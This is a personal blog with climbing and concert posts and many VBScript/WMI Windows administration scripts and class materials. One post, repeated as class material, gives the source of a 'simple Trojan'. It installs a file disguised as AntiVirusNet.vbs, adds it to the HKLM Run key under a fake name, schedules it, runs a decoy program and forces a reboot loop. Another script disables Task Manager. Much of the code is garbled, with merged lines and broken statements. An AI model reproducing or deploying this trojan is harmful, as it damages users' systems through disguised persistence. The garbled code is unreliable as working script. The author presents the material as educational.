Jaysn

My current climbing project

2011-07-19T06:30:00.000-07:00

We've recorded this video to analyse the mistakes that I'm doing within my current overhang project at T-Hall (7+).
Hope to conquer this route within the next few weeks before it is gone. Looking very good though :)

Climbing at Rindsberg Westpfeiler - my first exposure to sandstone surface

2011-07-04T00:29:00.000-07:00

Sunday I've attended a workshop to get more proficient with the use and placement of track gear like friends and stoppers.
At the same time this has been my first climbing on sandstone.
Whilst the climbing wasn't technically that difficult, coping with the sandstone surface was definitely a challenge as to judge which handles work and which won't.
Perfect weather, good times.
Will be back to climb more on Westpfeiler.

Climbing in Schriesheim - Final preparations for Lleida, Spain

2011-04-05T01:29:00.001-07:00

Awesome weather on Saturday...so we decided to go out to Schriesheim for some climbing.
Schriesheim is fun for climbing...although I didn't like to much hiking up to the walls and also, with good weather it gets extremely hot up there which doesn't make the climbing any easier.
This was my final preparation for the climbing trip to Lleida, Spain. All the equipment is in place and my climbing partner and I work very well together so I do not see any reason why Lleida shouldn't be a fun climbing vacation. 2 more weeks to go....looking forward to it.

Climbing in Lleida , Spain APRIL 2011

2011-03-09T00:15:00.000-08:00

Currently I'm extensively Lead-climbing at the indoor gym to prepare for some climbing vacation in Lleida (Spain) which should offer some great routes.
As those routes hold bolt anchors, this is gonna be straight sports-climbing and therefor nothing new to me. Anyways, should be fun...looking forward to it!

Here are some pics from Fulda end of last year (in fact the last great day to climb outside in 2010)

Concerts to check out in 2010

2010-08-07T10:06:00.000-07:00

My advice on music events to check out within the rest of 2010

Limp Bizkit - Frankfurt, 31.08.2010

Danko Jones - Frankfurt, 29.10.2010

Crystal Castles - Berlin, 15.11.2010

Job for a Cowboy - Berlin, 20.11.2010

Interpol - Berlin, 20.11.2010

Gorillaz - Berlin, 21.11.2010

Kele (frontman of Bloc Party/Solo Tour) - Heidelberg, 29.11.2010

Meeting Hatebreed @ Mannheim

2010-06-25T23:46:00.000-07:00

This was my second meet and greet with a famous band.
In this case it was pretty much open to everyone as the whole thing was available for only 15€ - including merchandise package and free beer together with the Hatebreed guys backstage.

All of them were very cool and relaxed, I've got to chat with Wayne and Frank about their guitar playing a bit and finally we were allowed to take a picture together with the guys.

The show has been awesome (including opening act Tenside)and it was really cool having some of my former IT school friends along with me! Great night.

VIP Guest @ Nickelback , SAP Arena Mannheim

2010-02-02T10:47:00.000-08:00

Once again, I decided to post a concert review.
This time I decided to purchase a VIP ticket for Nickelback. To make it short and sweet, it's been worth the 300€ big time!
We've got early entrance into the empty arena, meet and greet with the Nickelback guys and extra "on stage" view during the show. You cannot get any closer to your favorite artist....I was standing about 1m away from Joshs /Ryans effect pedal board! So that was really cool and indeed one of the best (if not the best) concert experience so far.
BTW, Daughtry have been a fantastic support act....please check out their albums "Daughtry" and "Leave this town".

"Figured you out" from on stage - view

U2 360° Tour

2009-08-06T01:22:00.000-07:00

Normally I do not write reviews for the concerts I've been to (due to the large number of shows I attend) but this time I really feel like I have to.
Being a U2 fan for quiet some time, I finally got the chance to seem them earlier this week performing for their 360° Tour at the big Veltins Arena (thx to my buddy Tim who managed to get us some mainfloor tickets).
This has easily been one of the best shows I've seen so far; starting with Snow Patrol as support act, U2 put down an amazing show keeping a great mixture of their new songs and the old ones that everyone wanted to hear.

As a guitar player, I'm (once more) truly inspired by The Edge's playing and most likely will spend the next couple of days studying his style.
For everyone out there: If you got the chance to attend the 360° Tour, do it. When in doubt, be
there;)

Learn Windows Scripting Act 5 - Class material

2008-07-19T06:19:00.000-07:00

Class material for ACT 5

References

WMI Registry
http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Complete Script

strcomputer = "."
HKEY_CURRENT_USER = &H80000001
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
comppath = "Software\Microsoft\Windows\CurrentVersion\Policies\System"
strEntryName = "DisableTaskMgr"
dwValue = "00000001"
retval = objReg.SetDWordValue(HKEY_CURRENT_USER, comppath, strEntryName, dwValue)
Wscript.echo retval

First CCNP exam passed!

2008-07-11T07:12:00.000-07:00

yes! I got it...yesterday I passed my first CCNP track exam with an almost perfect score (955/1000). So 3 more exams to go and I can call myself a CCNP (Cisco Certified Network Professional) - which will give me the opportunity to earn even more money than I do right now ;)

So that's cool...I'm going to chill for the rest of the month and start learning for exam number 2 in August, which should be much easier to pass than the one that I've passed yesterday.

Other than that there's gonna be 3 concerts I'm definitely gonna check out in October: Jason Mraz, 3 Doors Down & James Blunt (no, I'm not gay...).

That's it for now! Tonight and tomorrow is gonna be time for party!!! All you IT professional:

Get out and have some fun :D

Jay

Rock am Ring 08 Festival

2008-06-10T13:27:00.000-07:00

I'm currently completely flashed by the last weekend - Rock am Ring 08 has been phenomenal...it's one big party with too many great bands performing to even count.
My favorite performances were definitely those of the Stereophonics, Manic Street Preachers, Babyshambles and Jimmy Eat World. Being in the front rows of the crowd rocking out to the J.E.W. performance has been just freakin awesome...I'll definitely keep a lot of good moments and memories from this fantastic event.
Also, I've got the chance to meet my very personal guitar player Idol Mark Tremonti of Alter Bridge. It's just one of those moments that will take you a while to realize that it really happened. Anyways, I'm taking it, Alter Bridge signed my Iphone and all of them are really nice guys, they rock!

Quickpost this image to Myspace, Digg, Facebook, and others!

Inspirational Letter - How to take your career to the next Level

2008-05-18T03:26:00.000-07:00

removed

Learn Windows Scripting Act 4 - Class material

2008-04-02T05:47:00.000-07:00

Class material for ACT 4

References

Split Method
http://msdn2.microsoft.com/en-us/library/0764e5w5(VS.85).aspx

Open Text File
http://support.microsoft.com/kb/300982

Complete Script

On Error Resume Next

IN_FILE = "test.txt"
Const PRO_READ = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAll
objFile.Close
arrComputers = Split(strComputers, vbCrLf)

For Each strComputer In arrComputers

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Service where DisplayName = ""MSSQLSERVER""")

For Each objItem in colItems

ret = objitem.StopService() & " on Computer " & strComputer

Wscript.Echo ret

next

Next

* Loop routine wrapped around the core script
* Core script wrapped into the Loop routine

Learn Windows Scripting Act 3 - Class material

2008-03-26T01:03:00.000-07:00

Class material for ACT 3

References
StdRegProv Class
http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Win32_OperatingSystem (reboot method)
http://msdn2.microsoft.com/en-us/library/aa393009(VS.85).aspx

Win32_LocalTime Class
http://msdn2.microsoft.com/en-us/library/aa394171(VS.85).aspx

Win32_ScheduledJob Class
http://msdn2.microsoft.com/en-us/library/aa394399(VS.85).aspx

Tools
Zip2Secure by Chilkat Software (free of charge)
http://www.chilkatsoft.com/ChilkatSfx.asp

Complete Script
!Attention! Do not use this script unless you know exactly what you are doing. Also, this is provided for educational purposes ONLY. do not use the presented in malicious fashion!

'File 1 Romcs.vbs
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set WSHShell = CreateObject("Scripting.FilesystemObject")
WSHShell.CopyFile "AntiVirusNet.vbs", "C:\AntiVirusNet.vbs"
Set ObjRegistry = GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & strComputer & "\root\default:StdRegProv")
Return = objRegistry.setStringValue(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","WRSPXPBXUpd","C:\AntiVirusNet.vbs")
If Return <> 0 Then
msgbox("Keine Admin Rights!")
Else
Set objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers3 = objWMIService1.ExecQuery("Select * from Win32_LocalTime")
For Each objComputer2 in colComputers3
Hou = objComputer2.HourMin = objComputer2.Minute
if Hou < 10 thenHou = 0 & objComputer2.Hourend if
next
if Min < 10 thenMin = 0 & objComputer2.Minute
end if
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.Get("Win32_ScheduledJob")T = "C:\AntiVirusNet.vbs"D = "********" & Hou & "" & Min & "00.000000+000"
'+1 hour automatically
erret = colComputers2.Create(T,D,JobID1000)Set WSHShell1 = CreateObject("WScript.Shell")WSHShell1.Run "bowling.exe"'WSHShell.DeleteFile ("*.vsbs")End IF

' File 2 AntiVirusNet.vbs
On error resume nextstrComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set colComputers2 = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2objComputer2.Security.privileges.AddAsString "SeShutdownPrivilege", trueerrRet = objComputer2.Reboot()next

Learn Windows Scripting Act 2 - Class material

2008-03-23T10:31:00.000-07:00

Class material used in 'Learn Windows Scripting Act 2'

References:
Win32_Service Class
http://msdn2.microsoft.com/en-us/library/aa394418(VS.85).aspx

Microsoft Scriptomatic Tool
http://www.microsoft.com/technet/scriptcenter/tools/scripto2.mspx

Complete Script

On Error Resume Next

strComputer = Wscript.Arguments(0)

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Service where DisplayName = ""MSSQLSERVER""")
For Each objItem in colItems

Wscript.Echo "DisplayName: " & objItem.DisplayName
Wscript.Echo "StartMode: " & objItem.StartMode
Wscript.Echo "State: " & objItem.State
star = Wscript.Arguments(1)
ret2 = objitem.ChangeStartMode(star)
ret = objitem.StopService()

Wscript.Echo ret
Wscript.Echo ret2

Next

Learn Windows Scripting Act 1 - Class material

2008-03-22T10:49:00.000-07:00

Class material used in 'Learn Windows Scripting Act 1'

References:
http://msdn2.microsoft.com/en-us/library/aa394572(VS.85).aspx

http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Code Snippets used:

Connect to WMI

strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)For Each objItem in colItems

next

Connect to Windows Registry

HKEY_USERS = &H80000003

Set objReg = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
comppath = "" & sidentry & "" & strKeyPath & ""
retVal = objReg.SetStringValue(HKEY_USERS, comppath, strEntryName, dwValue)

Complete Script

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
nm = objItem.UserName
next
Result = InStrRev(nm, "\")
tre = len(nm)
tre1 = tre - Result
Res = right(nm,tre1)

Set colOS = objWMIService.ExecQuery("Select * from WIN32_UserAccount where Name="""& Res & """")

for each obj in colOS
X1 = obj.SID
Next

strKeyPath ="\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

HKEY_USERS = &H80000003

Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
comppath = "" & X1 & "" & strKeyPath & ""
strEntryName = "AutoConfigURL"
dwValue = "http://proxy/pac/proxy.pac"

retval = objReg.SetStringValue(HKEY_USERS, comppath, strEntryName, dwValue)

Wscript.echo retval

$Scripting Video Tutorials become reality!$

2008-03-20T07:52:00.001-07:00

Hi,
yeah...finally I'm almost ready to put out the first video of my "How to script" series.
We've found an appropriate screen capturing software, created a Youtube Channel and will start recording the first video tomorrow. This is going to discuss a script which I've written during my tenure at the ECB, changing proxy settings in InternetExplorer for the currently logged on user only.

This will touch some nice techniques which you definitely want to know about when dealing with windows scripting. Also I'm going to give you some ideas on how to strategically approach a scripting task, dividing the workload into logical segments and working with the WMI Namespace reference Microsoft is providing to us.

So, maybe this will be available sometime next week (I hope so), most likely it will :P

Cheers

Jay

$ NEWS $ Upcoming Video lessons on windows scripting

2007-12-22T18:57:00.000-08:00

Hi Folks,
this is just a quick heads up on what might be going on over here pretty soon:

I've received quiet a large number of requests from former students and people in general I taught how to script, to start up some further "Scripting classes".

Due to this not being possible for numerous reasons, I came up with the (IMHO) best next-to-classroom learning experience: Video Lessons.

I'll be creating some video lessons demonstrating on different sample scripts how to make a SysAdmins life easier by using VBS and WMI.

Those videos will be completely free of charge, depending on how popular this project might become, the number of video lessons put out will vary.

Stay tuned and checkout this place for news on this.

More to come...

Jay

Example of a simple Trojan I've created for an Information Assurance class

2007-12-22T18:40:00.000-08:00

' IMPORTANT! do NOT use this script on your computer or it could easily damage your system
'Also, this script has been written to demonstrate the concept of trojan horses/viruses - it should ' NOT be used in malicious fashion but only for educational purposes on isolated systems

'File 1 Romcs.vbs

HKEY_LOCAL_MACHINE = &H80000002strComputer = "."
Set WSHShell = CreateObject("Scripting.FilesystemObject")
WSHShell.CopyFile"AntiVirusNet.vbs", "C:\AntiVirusNet.vbs"
Set ObjRegistry = GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
Return = objRegistry.setStringValue(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","WRSPXPBXUpd","C:\AntiVirusNet.vbs" )
If Return <> 0 Then
msgbox("Keine Admin Rights!") Else
Set objWMIService1 = GetObject("winmgmts:" _& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers3 = objWMIService1.ExecQuery _("Select * from Win32_LocalTime")For Each objComputer2 in colComputers3
Hou = objComputer2.HourMin = objComputer2.Minute
if Hou < 10 thenHou = 0 & objComputer2.Hour
end ifnext
if Min < 10 thenMin = 0 & objComputer2.Minuteend if

Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.Get("Win32_ScheduledJob")T = "C:\AntiVirusNet.vbs"D = "********" & Hou & "" & Min & "00.000000+000" '+1 hour automatically
erret = colComputers2.Create(T,D,JobID1000)Set WSHShell1 = CreateObject("WScript.Shell")
WSHShell1.Run "bowling.exe"'WSHShell.DeleteFile ("*.vsbs")
End IF

' File 2 AntiVirusNet.vbs

On error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2objComputer2.Security_.privileges.AddAsString "SeShutdownPrivilege", trueerrRet = objComputer2.Reboot()
next

Refreshing SMS 2003-Site Client membership

2007-05-22T01:20:00.000-07:00

on error resume next

Sub SMSChk
on error resume next

set comp = CreateObject ("Microsoft.SMS.Client")
if err.number <> 0 then
wscript.echo "SMS Advanced Client not present. Cannot continue."
exit Sub
end if

site = comp.GetAssignedSite

if err.number <> 0 then

err.clear
site = comp.AutoDiscoverSite

if err.number <> 0 then
Wscript.Echo "Could not Discover Site. Please use smscheck.vbs to assign a site manually"
exit Sub
else

comp.setAssignedSite(site)
SiteGet = comp.GetAssignedSite
if err.number <> 0 then
Wscript.Echo "Error setting Site. Please try again."
Exit Sub
else
Wscript.Echo "Client is now assigned to site " & SiteGet
End if
end if
else
WScript.echo "Client currently assigned to site " & site & " !Please use smscheck.vbs to assign a site manually (if needed)"
end if
err.clear
end sub

if Wscript.Arguments.count > 0 then
inp = Wscript.Arguments(0)
set comp = CreateObject ("Microsoft.SMS.Client")
if err.number <> 0 then
wscript.echo "SMS Advanced Client not present. Cannot continue."
WScript.quit
end if
err.clear
comp.setAssignedSite(inp)
SiteGet = comp.GetAssignedSite
if err.number <> 0 then
Wscript.Echo "Error setting Site. Please try again."
err.clear
else
Wscript.Echo "Client is now assigned to site " & SiteGet
end if
else
call SMSChk()
end if

' Julian Ruf 07.04.2006 julian.ruf@ecb.int

WISE: Automated installation script enumerating partitions and setting permissions

2007-05-17T05:48:00.000-07:00

On error resume next
strComputer = "."
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("WScript.Shell")
Set wmiServices = GetObject _ ("winmgmts:{impersonationLevel=Impersonate}!//" & strComputer)
Set wmiDiskPartitions = wmiServices.ExecQuery _ ("SELECT * From Win32_DiskDrive WHERE Index = '0'")
for each test in wmidiskpartitions
str1 = test.Partitions

if str1=1 thenstrEscapedDeviceID1 = "Disk #0, Partition #0"
Set wmiDiskPartitions1 = wmiServices.ExecQuery _("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & _ strEscapedDeviceID1 & """} WHERE AssocClass = " & _ "Win32_LogicalDiskToPartition")
for each test1 in wmidiskpartitions1DriveSpec = Test1.Name
next
WSHShell.Run("mtplayerinstall-standalone.exe /S")fso.CopyFolder "MasteryNet","" & DriveSpec & "\MasteryNet"
WshShell.Run("Cacls " & Drivespec & "\MasteryNet /G ""Authenticated Users"":F /T /E")
end if
if str1>1
then
int2 = 1int3 = str1 - int2strEscapedDeviceID2 = "Disk #0, Partition #" & int3
Set wmiDiskPartitions2 = wmiServices.ExecQuery _("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & _ strEscapedDeviceID2 & """} WHERE AssocClass = " & _ "Win32_LogicalDiskToPartition")
for each test2 in wmidiskpartitions2
driveSpec = Test2.Name
WSHShell.Run("mtplayerinstall-standalone.exe /S")
fso.CopyFolder "MasteryNet","" & DriveSpec & "\MasteryNet"WshShell.Run("Cacls " & drivespec & "\MasteryNet /G ""Authenticated Users"":F /T /E")

next
end if

next
'created by Julian Ruf

Computer Info enumeration script

2007-05-17T05:44:00.000-07:00

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TextFile = FSO.OpenTextFile(Wscript.Arguments(1), 2, True) TextFile.Write"OPERATING SYSTEM,USER,COMPUTERNAME,MODEL,IP"
TextFile.WriteLine
IN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.Close
arrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arr
Computerserr.clear

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem",,48)if err.number <> 0 thenTextFile.Write "not reachable: " & strComputer
else
For Each objItem in colItems
TextFile.Write "" & objItem.Caption & " " & objitem.CSDVersion
Next
end if
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)
if err.number <> 0 then
TextFile.Write ",not reachable: " & strComputer & ",not reachable: " & strComputer & ",not reachable: " & strcomputer
else
For Each objItem in colItems
TextFile.Write "," & objItem.UserName
TextFile.Write "," & objItem.NameTextFile.Write "," & objitem.Model
Next
end if
Set colItems1 = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration",,48)
if err.number <> 0 thenTextFile.Write ",not reachable: " & strComputer & vbnewline
else
For Each wbemObject in colItems1
For T=LBOUND(wbemObject.IPAddress) _ to UBOUND(wbemObject.IPAddress)
TextFile.Write "," & wbemObject.IPAddress(T) & vbnewline
next
next
end if
next
WSCript.Echo "Enumeration completed" 'created by Julian Ruf

Getting users SID Domain wide

2007-05-17T05:41:00.000-07:00

On Error Resume NextstrComputer = "."
Set objWMILocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMICimService = objWMILocator.ConnectServer(strComputer, "root\cimv2")
Set colOS = objWMICimService.ExecQuery("Select * from WIN32_UserAccount where Name=""DesiredUsername""")
for each obj in colOS

WScript.Echo "Name: " & obj.Name & " /SID: " & obj.SID & ""
Next
'created by Julian Ruf

Getting currently logged on users SID (Security Identifier)

2007-05-17T05:38:00.000-07:00

On Error Resume NextstrComputer="."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
nm = objItem.UserNameResult = InStrRev(nm, "\")
tre = len(nm)
tre1 = tre - ResultRes = right(nm,tre1)
Set colOS = objWMIService.ExecQuery("Select * from WIN32_UserAccount where Name="""& Res & """")
for each obj in colOS
WScript.Echo "Name: " & obj.Name & " /SID: " & obj.SID & ""
Next
next
'gets currently logged on users SID by Julian Ruf

Graphical script for Renaming Hostname + Reboot

2007-05-17T05:33:00.000-07:00

On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers = objWMIService.ExecQuery _ ("Select * from Win32_ComputerSystem")
call Load
Sub Load
For Each objComputer in colComputersstrNewName = inputbox("Current ComputerName is: " & objcomputer.name & "" & vbNewLine & "Enter New ComputerName","Rename Computer","FUNA0xxx5SCxxxx")
next
if strNewName = "" thenWScript.quit(0)
end if
Dim Lenght
lenght = len(strNewName)
if lenght = 15 then
For Each objComputer in colComputers
errReturn = ObjComputer.Rename(strNewName)
next
if errReturn <> 0 or errReturn = ""
thenWscript.Echo "Renaming Computer failed with following error: " & err.Number & "" & vbnewline & ""WScript.quit(0)
else
WScript.Echo "Computer has been renamed successfully. Please remove Disk and hit OK to reboot"
call Rbt
end if
else
WScript.Echo "ComputerName must be 15 characters long.Please try again!"call load
end if
end sub

Sub RbtSet
colComputers2 = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2
objComputer2.Security_.privileges.AddAsString "SeShutdownPrivilege", true
errRet = objComputer2.Reboot()
next
end Sub
'created by Julian Ruf

Set proxy Settings in IE for currently logged on user

2007-05-17T05:31:00.000-07:00

On Error Resume
NextstrComputer = "."HKEY_USERS = &H80000003
strKeyPath = "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"strEntryName = "AutoConfigURL"dwValue = "http://proxy/pac/proxy.pac" 'change to reflect Proxy
Set objWMILocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMICimService = objWMILocator.ConnectServer(strComputer, "root\cimv2")
Set colItems = objWMICimService.ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
nm = objItem.UserNameResult = InStrRev(nm, "\")
tre = len(nm)tre1 = tre - ResultRes = right(nm,tre1)
Set colOS = objWMICimService.ExecQuery("Select * from WIN32_UserAccount where Name="""& Res & """")
for each obj in colOS
sidentry = obj.SID
Nextnext
Set objReg = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
comppath = "" & sidentry & "" & strKeyPath & ""
retVal = objReg.SetStringValue(HKEY_USERS, comppath, strEntryName, dwValue)
if retval <> 0 thenWScript.Echo "Setting Proxy failed"ElseWScript.Echo "Setting Proxy done for User: " & Res & " and Proxy: " & dwValue
End If
' Proxy Change for non-transparent Proxies by Julian Ruf

Enable Remote Registry Service

2007-05-17T05:28:00.000-07:00

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAll
objFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers Set wbemServices = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Service")
For each wbemObject in wbemObjectSetif wbemObject.DisplayName = "Remote Registry" and wbemObject.State = "Stopped" then errRec = wbemObject.ChangeStartMode("Automatic")
errRec = wbemObject.StartService()
WScript.Echo "Changed RemoteRegistry Service on Computer: "& strComputer else
end if
if wbemObject.DisplayName = "Remote Registry" and wbemObject.State = "Running" then WScript.Echo "RemoteRegistry Service already running on Computer: "& strComputerelse
end if
Next
Next 'created by Julian Ruf

Set DNS Suffix + other related DNS settings

2007-05-17T05:15:00.000-07:00

On Error Resume Next
Const FULL_DNS_REGISTRATION =True
Const DOMAIN_DNS_REGISTRATION = False
strKeyPath1 = "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
strEntryName1 = "SyncDomainWithMembership"
strEntryName2 = "UseDomainNameDevolution"
strEntryName3 = "NV Domain"
Const HKEY_LOCAL_MACHINE = &H80000002
strKeyPath="SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\"
strEntryName = "RegistrationEnabled"
dwValue = 1
dwValue2 = "YOURSUFFIX"
IN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAll
objFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers Set objWMILocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMICimService = objWMILocator.ConnectServer(strComputer, "root\cimv2")
Set colOS = objWMICimService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objOS in colOS
if ( InStr(1, objOS.Caption, "XP", vbTextCompare) > 0 ) Then isWinXP = true else isWinXP = false End if
NextSet objReg = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
Set colNetCards = objWMICimService.ExecQuery ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each objNetCard in colNetCards
if (isWinXP) Then retVal = objReg.SetDWORDValue (HKEY_LOCAL_MACHINE, strKeyPath & objNetCard.SettingID, strEntryName, dwValue)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName1, dwValue)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName2, dwValue )
retVal = objReg.SetStringValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName3, dwValue2 )
Else retVal = objNetCard.SetDynamicDNSRegistration (FULL_DNS_REGISTRATION, DOMAIN_DNS_REGISTRATION)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName1, dwValue)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName2, dwValue)
retVal = objReg.SetStringValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName3, dwValue2)
End if
if retVal <> 0 then Wscript.Echo "Error Setting DNS Config at Computer: "& strComputerElse Wscript.Echo "Successfully Changed the required settings on Computer: "& strComputer
end if
Next
Next
'created by Julian Ruf

Stop/Disable Windows Service

2007-05-17T05:13:00.000-07:00

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputersSet wbemServices = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Service")
For each wbemObject in wbemObjectSetif wbemObject.DisplayName = "Computer Browser" then
errRec = wbemObject.StopService()
errRec = wbemObject.ChangeStartMode("Disabled")
WScript.Echo "Changed Computer Browser Service to Stopped/Disabled on Computer: "& strComputerelse
end if
Next
Next
'created by Julian Ruf

Setting Network config to DHCP

2007-05-17T05:10:00.000-07:00

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers = objWMIService.ExecQuery _ ("Select * from Win32_NetworkAdapterConfiguration")
For Each objComputer in colComputersif ObjComputer.EnableDHCP = false then errRec = ObjComputer.EnableDHCP()
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
errRec = ObjComputer.SetDNSServerSearchOrder() errRec = ObjComputer.SetWINSServer("", "")
WScript.Echo "Changed to DHCP Config at: " & strComputer else
end if
if ObjComputer.EnableDHCP = true then WScript.Echo "DHCP already configured at Computer: " & strComputer
else
end if
Next
Next
'created by Julian Ruf

Script for detecting systems with statically configured IP addresses

2007-05-17T05:06:00.000-07:00

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers
Set wbemServices = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set wbemObjectSet = wbemServices.InstancesOf("Win32_NetworkAdapterConfiguration")
For each wbemObject in wbemObjectSetif wbemObject.DHCPEnabled = false then For T=LBOUND(wbemObject.IPAddress) _
to UBOUND(wbemObject.IPAddress)WScript.Echo "Static IP configured on system: "& strComputer & vbCrLf & _"IP address: "& wbemObject.IPAddress(T)
next
else
end if
Next
Next 'created by Julian Ruf